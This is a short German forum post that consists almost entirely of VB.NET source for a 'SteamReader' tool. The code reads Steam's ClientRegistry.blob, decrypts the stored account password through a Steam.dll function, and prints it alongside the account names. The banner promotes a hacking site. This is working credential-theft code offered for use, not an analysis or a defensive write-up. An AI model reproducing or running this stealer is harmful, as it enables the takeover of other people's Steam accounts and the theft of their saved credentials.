hier mal was dazu
Code:
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.IO
Module SteamDecrypt
<DllImport("Steam.dll", CallingConvention:=CallingConvention.Cdecl)> _
Public Function SteamDecryptDataForThisMachine(ByVal encryptedData As String, ByVal encryptedDataSize As Integer, ByVal decryptedBuffer As StringBuilder, ByVal decryptedBufferSize As Integer, ByRef decryptedDataSize As Integer) As Integer
End Function
Sub Main(ByVal args() As String)
On Error Resume Next
Dim Datei As String = Environ("programfiles") & "\Steam\ClientRegistry.blob"
Dim decryptedDataSize As Integer = 0
Dim pwd As New StringBuilder
Dim F As Object
Dim sInhalt As String
Dim Phrase As Double
Dim zwischen As Double = "0"
Dim di As New DirectoryInfo(Environ("programfiles") & "\Steam\Steamapps")
Console.Title = "SteamReader>>"
F = FreeFile()
FileOpen(F, Datei, OpenMode.Binary)
sInhalt = InputString(F, LOF(F))
Phrase = InStr(1, sInhalt, "Phrase")
sInhalt = Mid(sInhalt, Phrase + 16)
Dim PWnew As String = (Left(sInhalt, 92))
Dim encpwd As String = (Left(sInhalt, 92))
FileClose(F)
pwd.Length = encpwd.Length / 2
If SteamDecryptDataForThisMachine(encpwd, encpwd.Length, pwd, pwd.Length, decryptedDataSize) = 0 Then
Console.WriteLine(Constants.vbLf & " ############################################")
Console.WriteLine(" ####### Website: www.vb-community.eu #######")
Console.WriteLine(" ############################################")
Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")
Console.WriteLine(" ############################################")
Console.WriteLine(" ############################## By Igoe #####")
Console.WriteLine(" ############################################")
Console.WriteLine(" ############################################")
Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")
Console.WriteLine(" ############################################")
Console.WriteLine(Constants.vbLf & " Password: " & pwd.ToString())
Console.Write(" Username: ")
For Each drc As DirectoryInfo In di.GetDirectories()
If drc.Name = "common" Then GoTo 1
If drc.Name = "SourceMods" Then GoTo 1
Console.Write(drc.Name & ", ")
1:
Next
Console.WriteLine(Constants.vbLf & " Crypt PW: " & PWnew)
Console.ReadLine()
Else
Console.WriteLine(Constants.vbLf & " ############################################")
Console.WriteLine(" ####### Website: www.vb-community.eu #######")
Console.WriteLine(" ############################################")
Console.WriteLine(" ##### Programmiert in Visual Basic.Net #####")
Console.WriteLine(" ############################################")
Console.WriteLine(" ############################## By Igoe #####")
Console.WriteLine(" ############################################")
Console.WriteLine(" ############################################")
Console.WriteLine(" ### Besucht doch mal www.true-hack.ddl.cx ##")
Console.WriteLine(" ############################################")
Console.WriteLine(Constants.vbLf & " Password: Nicht Gespeichert.")
For Each drc As DirectoryInfo In di.GetDirectories()
If drc.Name = "common" Then GoTo 2
If drc.Name = "SourceMods" Then GoTo 2
Console.Write(drc.Name & ", ")
2:
Next
Console.ReadLine()
End If
End Sub
End Module